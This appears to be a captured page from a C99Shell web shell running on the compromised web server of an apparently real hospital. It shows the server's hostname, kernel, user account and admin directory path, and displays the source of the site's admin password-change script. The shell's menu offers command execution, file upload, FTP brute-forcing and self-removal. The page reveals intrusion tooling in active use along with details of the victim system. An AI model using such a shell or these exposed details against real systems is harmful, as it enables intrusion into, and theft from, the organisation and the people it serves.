!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/home/katebhospital/public_html/admin/   drwxr-xr-x
Free 984.22 GB of 3519.75 GB (27.96%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     change_pass_adm.php (4.31 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include('conn.php');
session_start();

if (isset(
$_POST['change_pass'])) {
    
$adm_id $_SESSION['adm_id'];
    
$current_password mysqli_real_escape_string($con$_POST['current_password']);
    
$new_password mysqli_real_escape_string($con$_POST['new_password']);
    
$confirm_password mysqli_real_escape_string($con$_POST['confirm_password']);

    
// Fetch the hashed password from the database based on the admin ID
    
$query mysqli_query($con"SELECT adm_password FROM admission WHERE adm_id = '$adm_id'");
    
$check_fetch mysqli_fetch_assoc($query);

    if (
$check_fetch) {
        
$storedHashedPassword $check_fetch['adm_password'];

        
// Verify the current password using password_verify()
        
if (password_verify($current_password$storedHashedPassword)) {
            if (
$new_password === $confirm_password) {
                
// Hash the new password
                
$hashedPassword password_hash($new_passwordPASSWORD_DEFAULT);

                
// Update the password in the database
                
$update_query mysqli_query($con"UPDATE admission SET adm_password = '$hashedPassword' WHERE adm_id = '$adm_id'");

                if (
$update_query) {
                    echo 
"Password changed successfully.";
                } else {
                    echo 
"Error changing password. Please try again.";
                }
            } else {
                echo 
"New password and confirm password do not match.";
            }
        } else {
            echo 
"Incorrect current password.";
        }
    } else {
        echo 
"Error retrieving password information.";
    }
}
?>

<!DOCTYPE html>
<html>
<head>
    <link href="css/admin-css/style.css" rel="stylesheet" />
    <link href="css/admin-css/font-awesome.css" rel="stylesheet" />
    <title><?php include('title.php'?></title>
    <!-- Meta-Tags -->
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta charset="utf-8">
    <meta name="keywords" content="Change Password Form">
    <style>
        body {
            background-image: url('../assets/img/hero-slider/slider-1.jpg');
            background-size: cover;
        }

        .background-overlay {
            background-color: rgba(0, 0, 0, 0.4);
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            z-index: -1;
        }
    </style>
    <script>
        addEventListener("load", function () {
            setTimeout(hideURLbar, 0);
        }, false);

        function hideURLbar() {
            window.scrollTo(0, 1);
        }
    </script>
    <link href="http://fonts.googleapis.com/css?family=Source+Sans+Pro:200,200i,300,300i,400,400i,600,600i,700,700i,900,900i&amp;subset=cyrillic,cyrillic-ext,greek,greek-ext,latin-ext,vietnamese" rel="stylesheet">
</head>
<body>
    <div class="background-overlay"></div>
    <div>
        <h1>Kateb Hospital Admission Panel</h1>
        <!--728x90-->
        <div class="clear-loading spinner">
            <span></span>
        </div>
        <!--728x90-->
        <div class="w3ls-login box box--big">
            <!-- form starts here -->
            <form method="post">
                <div class="agile-field-txt">
                    <label style="color: white; font-weight: bold;"> Current Password </label>
                    <input type="password" name="current_password" placeholder="Enter Current Password" required="" />
                </div>
                <div class="agile-field-txt">
                    <label style="color: white; font-weight: bold;"> New Password </label>
                    <input type="password" name="new_password" placeholder="Enter New Password" required="" />
                </div>
                <div class="agile-field-txt">
                    <label style="color: white; font-weight: bold;">Confirm Password </label>
                    <input type="password" name="confirm_password" placeholder="Confirm New Password" required="" />
                </div>
                <input type="submit" name="change_pass" value="CHANGE PASSWORD">
                 <a href="admission-login.php" style="color: white; font-size: 20px;">Back To Login </a>
            </form>
        </div>
    </div>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0039 ]--